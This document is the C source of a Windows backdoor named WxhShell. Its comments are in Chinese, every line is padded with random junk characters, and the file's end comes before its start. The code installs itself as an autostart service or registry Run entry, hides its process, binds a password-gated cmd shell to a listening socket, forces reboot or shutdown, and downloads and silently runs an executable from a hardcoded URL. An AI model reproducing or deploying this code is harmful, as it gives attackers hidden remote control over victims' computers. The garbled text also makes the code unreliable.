    } 8@9hU`H8l  
    break; [q0_7  
    } g&oc=f`  
  // 关机 )x_W&*oZ  
  case 'd': { .( TQ5/ ~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *qeic e%E  
    if(Boot(SHUTDOWN)) Bt |9%o06l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c4!c_a2pS  
    else { c,3'wnui  
    closesocket(wsh); s0~05{  
    ExitThread(0); `'A(`. CL  
    } + cV5h  
    break; 4Zv.[V]iOO  
    } j?d;xj  
  // 获取shell gQ[]  
  case 's': { 1B9Fb.i  
    CmdShell(wsh); D[>XwL  
    closesocket(wsh); wHB Hkz  
    ExitThread(0); ft~|  
    break; $ uz1  
  } }"g21-T^  
  // 退出 _G-b L;  
  case 'x': { 8|S1|t,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y:tW]   
    CloseIt(wsh); $ DABR  
    break; %~~z96(  
    } h;4y=UU  
  // 离开 pAUfG^v  
  case 'q': { eCPKpVhP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y1yvI  
    closesocket(wsh); jFJW3az@z  
    WSACleanup(); VrnK)za*H  
    exit(1); "2vNkO##  
    break; .Y^d9.  
        } yPzULO4  
  }  9:K  
  } t9$AvE#a!=  
K&\BwBU  
  // 提示信息 cW~6@&zp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r+V(1<`2X  
} \U<F\i  
  } @]y{M;  
Un8#f+odR  
  return; #Tg|aW$(*  
} =@ L5  
Chb 4VoE  
// shell模块句柄 ~' Qpf 8)  
int CmdShell(SOCKET sock) c^dl+-{Mc  
{ x jP" 'yU  
STARTUPINFO si; V5hlG =V  
ZeroMemory(&si,sizeof(si)); *+,Lc1|\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'wT./&Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )z4kP09  
PROCESS_INFORMATION ProcessInfo; hNR >Hy\  
char cmdline[]="cmd"; @$b+~X)7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4?*"7t3  
  return 0; v#<+n{B  
} x`=5l`  
u {E^<fW]  
// 自身启动模式 ,mE]?XyO  
int StartFromService(void) [r~rIb%Zj  
{ iK6<^,]'  
typedef struct HS5Ug'\446  
{ 5f^`4 pT  
  DWORD ExitStatus; \.{pZMM  
  DWORD PebBaseAddress; Z+"E*  
  DWORD AffinityMask; <g|nmu)o$  
  DWORD BasePriority; wJ]$'c3  
  ULONG UniqueProcessId; M;Mdz[Q  
  ULONG InheritedFromUniqueProcessId; i$LV44  
}   PROCESS_BASIC_INFORMATION; +G=C~X  
dn.c#,Y  
PROCNTQSIP NtQueryInformationProcess; HNHhMi`w  
K~hlwjrt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l<)JAT;P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k}Clq;G  
tB(X`A.|  
  HANDLE             hProcess; I +4qu|0lA  
  PROCESS_BASIC_INFORMATION pbi; ?H7p6m u  
~BYEeUo;%v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {*=5qV}  
  if(NULL == hInst ) return 0; ZsK'</7  
 V\7u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )*L?PT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MT#[ - M\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dU04/]modD  
$m%/veD k  
  if (!NtQueryInformationProcess) return 0; *.;}OX^X  
7_'k`J@_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h|/*yTuN.y  
  if(!hProcess) return 0; Rx"VscB6z  
Sm I8&c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7QL) }b.H  
>,Swk3  
  CloseHandle(hProcess); );.<Yf{c  
wCEfR!i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9{J8q  
if(hProcess==NULL) return 0; ;7og  
bA9dbe  
HMODULE hMod; 6I.+c  
char procName[255]; GMp'KEQQ  
unsigned long cbNeeded; oIR%{`3"I  
f*H}eu3/j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @m d^mss  
}j<_JI  
  CloseHandle(hProcess); Fe>#}-`  
[z t&8g  
if(strstr(procName,"services")) return 1; // 以服务启动 9Qm{\  
NZ? =pfK\s  
  return 0; // 注册表启动 Vh-h{  
} |P?B AWYeQ  
a +Qj[pS  
// 主模块 "%iR-s_>  
int StartWxhshell(LPSTR lpCmdLine) #+Gs{iXr  
{ @[ N~;>  
  SOCKET wsl; *} 4;1OVT  
BOOL val=TRUE; leqSS}KU+  
  int port=0; 8{^GC(W{]  
  struct sockaddr_in door; 4 6JP1  
6B P%&RL  
  if(wscfg.ws_autoins) Install(); o~N-x*   
!LSWg:Ev+  
port=atoi(lpCmdLine); y,eoTmaI  
~x#-#nuh"  
if(port<=0) port=wscfg.ws_port; t#Yh!L6>  
2MrR|hLx  
  WSADATA data; xg!\C@$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9_^V1+   
C 5!6k1TcE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^HKaNk<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e/l?|+m 6  
  door.sin_family = AF_INET; !: [` V!{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C/#/F#C  
  door.sin_port = htons(port); ^8t*WphZC  
#.K&]OV/88  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l1j   
closesocket(wsl); J8[Xl.  
return 1; #rC+13  
} m=y)i]=1  
r!=VV!XZ  
  if(listen(wsl,2) == INVALID_SOCKET) { >@\-m  
closesocket(wsl); -Euy5Y  
return 1; RozsRt;i  
} .h } D%Qa  
  Wxhshell(wsl); 8XE0 p7  
  WSACleanup(); 5rhdm?Ls0  
/qY(uPJ  
return 0; ;<Q_4 V  
#@`^  .  
} 8BdeqgU/_  
27gm_ *  
// 以NT服务方式启动 w/@%xy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2Ki/K(  
{ J)+eEmrU  
DWORD   status = 0; !pXz-hxKT  
  DWORD   specificError = 0xfffffff; 1A *8Jnw  
S]{Z_|h*j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /267Q;d C)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w, wt<@}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \FM- FQK  
  serviceStatus.dwWin32ExitCode     = 0; lD XH<W?  
  serviceStatus.dwServiceSpecificExitCode = 0; Fx\Re]~n  
  serviceStatus.dwCheckPoint       = 0; LdL\B0^l  
  serviceStatus.dwWaitHint       = 0; w9BH>56/"  
K a jyQ"j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e76)z; '  
  if (hServiceStatusHandle==0) return; iE5^Xik ,  
XDQ1gg`  
status = GetLastError(); t~M_NEPxV  
  if (status!=NO_ERROR) v|z1nD!?]  
{ ~>|U%3}]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V _,*  
    serviceStatus.dwCheckPoint       = 0; b"V-!.02  
    serviceStatus.dwWaitHint       = 0; HmKE>C/  
    serviceStatus.dwWin32ExitCode     = status; j|9 2 g  
    serviceStatus.dwServiceSpecificExitCode = specificError; G_@H:4$3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #wfR$Cd  
    return; 3i1>EjML  
  } x$*OglaS  
ljRR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~Gza$ K  
  serviceStatus.dwCheckPoint       = 0; xOH@V4z:  
  serviceStatus.dwWaitHint       = 0; i|e-N?l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P? n`n!qZ  
} ijfT!W  
t s&C0  
// 处理NT服务事件,比如:启动、停止 [LK 9^/V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~}fpe>M:  
{ z\, w$Ef+  
switch(fdwControl) ~?FKww|_*J  
{ Bb6_['y  
case SERVICE_CONTROL_STOP: L '=3y$"],  
  serviceStatus.dwWin32ExitCode = 0; ZZUCwczI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +9t@eHJT1  
  serviceStatus.dwCheckPoint   = 0; wS GUNP9  
  serviceStatus.dwWaitHint     = 0; C|+5F,D  
  { EW)]75o{QF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &f$jpIyVX  
  } ^B<jMt  
  return; {v(3[ 7  
case SERVICE_CONTROL_PAUSE: xM(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; | =&r) ~  
  break; y9 "!ys  
case SERVICE_CONTROL_CONTINUE: Z=ho7i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |jlR] ,  
  break; 7ORwDR,`5  
case SERVICE_CONTROL_INTERROGATE: 1mf_1spB  
  break; GCrMrZ6  
}; 1K!7FiqY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kC)dia{$  
} [e (-  
q^gd1K<N  
// 标准应用程序主函数 <=p"c k@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g\ 2Y605DM  
{ 7kO 1d{u6b  
F$.M2*9  
// 获取操作系统版本 ~Oolm_+{}  
OsIsNt=GetOsVer(); e_Y>[/Om  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {oO!v}]  
w\a\I  
  // 从命令行安装 cOIshT1  
  if(strpbrk(lpCmdLine,"iI")) Install(); $uboOfS83G  
a XwFQ,  
  // 下载执行文件 avdi9!J2  
if(wscfg.ws_downexe) { H}A67J9x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (UpSi6?\  
  WinExec(wscfg.ws_filenam,SW_HIDE); /@q_`tU  
} RP6QS)|  
NVP~`sxiZ  
if(!OsIsNt) { *5wb8 [  
// 如果时win9x,隐藏进程并且设置为注册表启动 qz?9:"~$C  
HideProc(); M^H357r%  
StartWxhshell(lpCmdLine); \SyfEcSf2v  
} %ePInpb  
else {whR/rX`  
  if(StartFromService()) ="MG>4j3.F  
  // 以服务方式启动 I6\ l 6o  
  StartServiceCtrlDispatcher(DispatchTable); 23 3jT@Z  
else Xq9%{'9  
  // 普通方式启动 (.Sj"6+  
  StartWxhshell(lpCmdLine); y "gYv  
NU81 V0:jG  
return 0; %G>*Pez %  
} [i\K#O +f  
~r+;i,,X  
uPt({H  
j%0D:jOY]  
=========================================== g\GuH?|   
]v$VZ '  
QrDI$p7;'  
?$%#y u#.  
:(E.sT "R  
C,&r7  
" /U+0T>(HS  
PIl:z?q({  
#include <stdio.h> Xnpw'<~X  
#include <string.h> )$XcO]  
#include <windows.h> 6;Wns'  
#include <winsock2.h> .liVlo@  
#include <winsvc.h> ^|gD;OED7O  
#include <urlmon.h> 7\HjQ7__  
6C7|e00v  
#pragma comment (lib, "Ws2_32.lib") !o1+#DL)MU  
#pragma comment (lib, "urlmon.lib")  ]?M3X_Mq  
@vs+)aRa  
#define MAX_USER   100 // 最大客户端连接数 ~x4]^XS  
#define BUF_SOCK   200 // sock buffer k> SPtiAs  
#define KEY_BUFF   255 // 输入 buffer =*>ri  
usc"m huQ  
#define REBOOT     0   // 重启 #%5[8~&  
#define SHUTDOWN   1   // 关机 eaB6e@]@  
7wKT:~~oS3  
#define DEF_PORT   5000 // 监听端口 z>}H[0[#  
LYhjI  
#define REG_LEN     16   // 注册表键长度 21_sg f?  
#define SVC_LEN     80   // NT服务名长度 >sGIpER7  
rU/8R'S  
// 从dll定义API @^R6}qJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pV[SY6/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C( wZj O?N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ON [F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A s"% u  
&1 t84p:^=  
// wxhshell配置信息 [SJ3FZ<  
struct WSCFG { l_$ le  
  int ws_port;         // 监听端口 46 [k9T  
  char ws_passstr[REG_LEN]; // 口令 r|av|7R  
  int ws_autoins;       // 安装标记, 1=yes 0=no [$]qJ~kz  
  char ws_regname[REG_LEN]; // 注册表键名 wjy<{I  
  char ws_svcname[REG_LEN]; // 服务名 nOTe 3?i>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0(qtn9;=2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5LaF'>1yY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y?OK#,j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LiyR,e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9KCeKT>v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2,'~'  
E\1e8Wyh  
}; [[s^rC<d  
`}.jH1Fx/m  
// default Wxhshell configuration o#uhPUZ  
struct WSCFG wscfg={DEF_PORT, {c}n."`  
    "xuhuanlingzhe", C[R|@9NI  
    1, |Ml~_m  
    "Wxhshell", SDu%rr7sQ  
    "Wxhshell", pN=>q <]L  
            "WxhShell Service", &0x;60b  
    "Wrsky Windows CmdShell Service", &iO53I^r/  
    "Please Input Your Password: ", U{ 52bH<  
  1, blx"WVqo  
  "http://www.wrsky.com/wxhshell.exe", ak_n  
  "Wxhshell.exe" lk4U/:  
    }; dnzZ\t>U  
O^Y@&S RrQ  
// 消息定义模块 lw`$(,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BD2Gv)?g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )0o|u>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T_j0*A $  
char *msg_ws_ext="\n\rExit."; `3^%ft~l  
char *msg_ws_end="\n\rQuit."; (j&7`9<5  
char *msg_ws_boot="\n\rReboot..."; II]-mb  
char *msg_ws_poff="\n\rShutdown..."; Zx&=K"  
char *msg_ws_down="\n\rSave to "; t=IM"ZgfL  
NQx>u  
char *msg_ws_err="\n\rErr!"; 9~v#]Q}Z}4  
char *msg_ws_ok="\n\rOK!"; 1}q(Pn2  
zP>=K  
char ExeFile[MAX_PATH]; xzw2~(lo  
int nUser = 0; F%I*m^7d  
HANDLE handles[MAX_USER]; LIRL`xU7  
int OsIsNt; !DBaC%TGC  
^Sc48iDc  
SERVICE_STATUS       serviceStatus; u}-)ywX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eB_ M *+^  
Q"k #eEA  
// 函数声明 Tffdm  
int Install(void); W]5sqtF;6  
int Uninstall(void); Z8:'_#^@a[  
int DownloadFile(char *sURL, SOCKET wsh); 72\o6{BiC  
int Boot(int flag); $aY:Z_s  
void HideProc(void); B/K{sI  
int GetOsVer(void); qf*e2" ~v  
int Wxhshell(SOCKET wsl); K7},X01^  
void TalkWithClient(void *cs); LIh71Vg/cc  
int CmdShell(SOCKET sock); gmCB4MO  
int StartFromService(void); uDMyO<\  
int StartWxhshell(LPSTR lpCmdLine); g7r0U6Y  
#{~3bgY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b/UjKNf@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X?S LYm@v  
xHaoSs*C9  
// 数据结构和表定义 +IM6 GeH  
SERVICE_TABLE_ENTRY DispatchTable[] = 8O.5ML{  
{ (RLJ_M|;/b  
{wscfg.ws_svcname, NTServiceMain}, * oru;=D@8  
{NULL, NULL} ^ oh%Ns  
}; 3&Fqd  
J Sms \  
// 自我安装 ^"4u1  
int Install(void) 8Og)(BC  
{ 0hX@ta[Up  
  char svExeFile[MAX_PATH]; '?b.t2  
  HKEY key; qD> D  
  strcpy(svExeFile,ExeFile); P"k,[ZQ  
l]mn4cn3  
// 如果是win9x系统,修改注册表设为自启动 V2*m/JyeB  
if(!OsIsNt) { Yd$64d7,h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YL@d+ -\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]]_H|tO  
  RegCloseKey(key); Bk8 '*O/)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?r}!d2:dX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ppPzI,  
  RegCloseKey(key); o/p'eY:)  
  return 0; Q)Zk UmW  
    } <=&7*8u0+  
  } l|K`'YS!<{  
} }S>:!9f  
else { dIDs~  
me/ae{  
// 如果是NT以上系统,安装为系统服务 s`"ALn8m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O7\ )C]A  
if (schSCManager!=0) 0 ;ov^]  
{ ]<\; -i)  
  SC_HANDLE schService = CreateService m7~[f7U  
  ( M)!:o/!cS  
  schSCManager, G/C5o=cY  
  wscfg.ws_svcname, 9C)w'\u9+  
  wscfg.ws_svcdisp, Eb=;D1)y]  
  SERVICE_ALL_ACCESS, 'BwM{c-O"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b3!,r\9V  
  SERVICE_AUTO_START, 2F#R;B#2  
  SERVICE_ERROR_NORMAL, D^H<)5d9  
  svExeFile, >SZ9,K4Gs  
  NULL, )SYZ*=ezl.  
  NULL, mLn =SU{#  
  NULL, ICgyCsZ,  
  NULL, /A) v $Bv=  
  NULL >}ozEX6c2  
  ); SAGLLk07G  
  if (schService!=0) .o5r;KD  
  { kVZ5>D$  
  CloseServiceHandle(schService); E5 0$y:  
  CloseServiceHandle(schSCManager); =7`0hS<@F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'E,Bl]8C5  
  strcat(svExeFile,wscfg.ws_svcname); 6\9 9WQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?$^qcpJCp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'yM)>]u"  
  RegCloseKey(key); *ad"3>  
  return 0; 3f :I<S7  
    } N{G+|WmQ  
  } [\&Mo]"0  
  CloseServiceHandle(schSCManager); ;pNHT*>u,  
} :[N[D#/z  
} 5!*5mtI  
Mr(~ *  
return 1; +mT}};-TS  
} G K @]61b  
3Ecm Nwr  
// 自我卸载 5Ffz^;i  
int Uninstall(void) f6Wu+~|Y  
{ hqY9\,.C  
  HKEY key; <8 At =U  
05MtQB   
if(!OsIsNt) { O.E   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UG>OL2m>5  
  RegDeleteValue(key,wscfg.ws_regname); Tc)T0dRP  
  RegCloseKey(key); <' %g $"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \sC0om,  
  RegDeleteValue(key,wscfg.ws_regname); KX)xCR~  
  RegCloseKey(key); n a2"Sy=Yi  
  return 0; %MP s}B  
  } 1 qUdj[Bj  
} VJCh5t*  
} S53%*7K.  
else { Whd4-pR8  
9rao&\eH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >Fld7;L?<  
if (schSCManager!=0) W'XMC"  
{ &,."=G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fsjA7)/  
  if (schService!=0) XU9=@y+|v  
  { 7^iF,N  
  if(DeleteService(schService)!=0) { g@Ni!U"_c  
  CloseServiceHandle(schService); Sc6wC H  
  CloseServiceHandle(schSCManager); f/;\/Q[Z7  
  return 0; fe37T@  
  } $xu?zd"  
  CloseServiceHandle(schService); 1wc -v@E  
  } 38q@4U=aiw  
  CloseServiceHandle(schSCManager); 6>=>Yj  
} HqXo;`Yy}  
} b7AuKY{L  
jq0tMTb%L  
return 1; INbjk;k  
} jm-0]ugY&`  
U[A*A^$c}  
// 从指定url下载文件 Bd NuhV`0  
int DownloadFile(char *sURL, SOCKET wsh) 5GJ0EZ'X  
{  ~M'\9  
  HRESULT hr; ImV54h'  
char seps[]= "/"; J.<%E[ z  
char *token; uPF yRWK  
char *file; oyr2lfz*  
char myURL[MAX_PATH]; pz&=5F  
char myFILE[MAX_PATH]; hx^a&"  
'o7PIhD"  
strcpy(myURL,sURL); D@^F6am%  
  token=strtok(myURL,seps); T) ,:8/  
  while(token!=NULL) 7@lXN8_f  
  { Z@[,"{Sn  
    file=token; (j~V  
  token=strtok(NULL,seps); _"sRL} -Z  
  } i9xv`Ev=R  
"qj[[L Q  
GetCurrentDirectory(MAX_PATH,myFILE); Pj.~|5gnf  
strcat(myFILE, "\\"); fjWh}w8  
strcat(myFILE, file); ^z^>]Qd  
  send(wsh,myFILE,strlen(myFILE),0); NdNfai  
send(wsh,"...",3,0); I)Lb"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); og\XLJ}_  
  if(hr==S_OK) }-L@AC/\#  
return 0; Hxl,U>za#  
else KB"iF}\P0  
return 1; (Z$6J Nkz  
pMquu&Td  
} ) ,hj7  
Az-!LAu9 R  
// 系统电源模块 Q'a N|^w"f  
int Boot(int flag) "B}08C,?  
{ 7[H`;l  
  HANDLE hToken; "<2b jy  
  TOKEN_PRIVILEGES tkp; H n!vTB  
.cF$f4>2  
  if(OsIsNt) { ,jnRt%W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7:L~n(QpP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dq?HUb^X  
    tkp.PrivilegeCount = 1; b e/1- =m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =Yj[MVn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9-Qtj49  
if(flag==REBOOT) { ]'h)7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fE*I+pe  
  return 0; 2jZ}VCzRG  
} tKeO+6l  
else { -HsBV>C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) arLl8G[  
  return 0; 3K!0 4\  
} sYA-FO3gh  
  } _ <a)\UR  
  else { #=H}6!18  
if(flag==REBOOT) { )Zf}V0!?+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kg`x9._2  
  return 0;  GQ0(&I  
} pInWKj[y1  
else { un^IQMIh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &E &iaw!  
  return 0; 9BD|uU;0  
}  |~uzQU7  
} RpK,ixbtA+  
|J Q:.h  
return 1; 8}oDRN!J  
} :ZfUjqRE  
+R#`j r"  
// win9x进程隐藏模块 DVoV:pk  
void HideProc(void) q uGPk)c  
{ @*"<U]  
T7,Gf({  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zc3:9   
  if ( hKernel != NULL ) , q@(L  
  { +Q!xEfpO;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fI d)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .-u k   
    FreeLibrary(hKernel); K aQq[a  
  } `?o1cf A  
'Tf#S@o  
return; YNJpQAuSn)  
} %cr]ZR  
v8vh~^X%P  
// 获取操作系统版本 "p~]m~g  
int GetOsVer(void) ~\:j9cC  
{ -KwL9J4u  
  OSVERSIONINFO winfo; \eMYw7y5 M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (_&V9vat=  
  GetVersionEx(&winfo); >_0 i=.\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }M9DqZ;I  
  return 1; &Rl3y\ r  
  else 7z&adkG:  
  return 0; BtpjQNN  
} 4'{hI;&a&  
@maZlw1q  
// 客户端句柄模块 ngkeJ)M0$  
int Wxhshell(SOCKET wsl) J<($L}T*$  
{ 3dxnh,]&@  
  SOCKET wsh; 4j@kMe;RjZ  
  struct sockaddr_in client; l\sS?  
  DWORD myID; D#/%*|  
@RoRNat  
  while(nUser<MAX_USER) !7kLFW  
{ -l40)^ E}  
  int nSize=sizeof(client); 6N %L8Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {glqWFT  
  if(wsh==INVALID_SOCKET) return 1; pRrqs+IJZ\  
iFwyh`Bcg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |`k1zc)9  
if(handles[nUser]==0) g]==!!^<D  
  closesocket(wsh); ||'i\X|[  
else oc3dd"8}@  
  nUser++; \2].|Mym  
  } aJy>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r(,= uLc  
(DG@<K,6  
  return 0; /jjW/ lr  
} }rKJeOo^x?  
<=)D=Ax/_[  
// 关闭 socket C>Omng1>^  
void CloseIt(SOCKET wsh) GCP{Z]u  
{ 7Ykj#"BZ  
closesocket(wsh); P|e:+G7  
nUser--; kW<Yda<a  
ExitThread(0); |5}rX!wS4  
} J8GXI:y  
xZ.~:V03\t  
// 客户端请求句柄 e(OwS?K  
void TalkWithClient(void *cs) inr%XS/m  
{  .6O52E  
zp7V\W; &  
  SOCKET wsh=(SOCKET)cs; p4m^ ~e  
  char pwd[SVC_LEN]; *Fa )\.XX  
  char cmd[KEY_BUFF]; u%6Irdx  
char chr[1]; S3ab0JM  
int i,j; p3M#XC_H]  
krQ l^~@  
  while (nUser < MAX_USER) { *3A3>Rwu  
sBP}n.#$  
if(wscfg.ws_passstr) { lv<iJH\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]&Y#) ebs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?1GY%-  
  //ZeroMemory(pwd,KEY_BUFF); Od0S2hHO  
      i=0; U}tl_5%)  
  while(i<SVC_LEN) { @k=cN>ZMc  
|?OdV<5C  
  // 设置超时 A[u)wX^`f^  
  fd_set FdRead; 1*C:h g@  
  struct timeval TimeOut; LYd}w(}  
  FD_ZERO(&FdRead); |ZvNH ~!  
  FD_SET(wsh,&FdRead); 0lX)Cl  
  TimeOut.tv_sec=8; :y=!{J<  
  TimeOut.tv_usec=0; L8K0^~Mk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >;&Gz-lm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jrIA]K6  
)>(L{y|uYX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5;X {.2  
  pwd=chr[0]; El~-M`Gf  
  if(chr[0]==0xd || chr[0]==0xa) { BX@pt;$ek7  
  pwd=0; uz]E_&2  
  break; . _1jk  
  } 3LKB;  
  i++; ao)Ck3]  
    } "Kyifw?  
%0vTA_W  
  // 如果是非法用户,关闭 socket ~_'0]P\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hl4\M]]/&  
} sT)6nV  
92!JKZe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *i`v~ >  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } <SNO)h3  
tC2N >C[N  
while(1) { d4%dIR)  
N6h1|_o  
  ZeroMemory(cmd,KEY_BUFF); $Z/klSEf  
HeCcF+  
      // 自动支持客户端 telnet标准   wDDxj  
  j=0; H6_xwuw:  
  while(j<KEY_BUFF) { J2r1=5HS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z+jh ;!i  
  cmd[j]=chr[0]; T'8RkDI}-  
  if(chr[0]==0xa || chr[0]==0xd) { #Rc5c+/(  
  cmd[j]=0; !6Q`>s]  
  break; cqEHYJ;B  
  } Tj`yJ!0  
  j++; 9UP:J0 `  
    } fE^uF[-7?  
sMH#BCC  
  // 下载文件 }w@gj"\H  
  if(strstr(cmd,"http://")) { PRD_!VOW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +vz` go  
  if(DownloadFile(cmd,wsh)) ^/*KNnAWp  
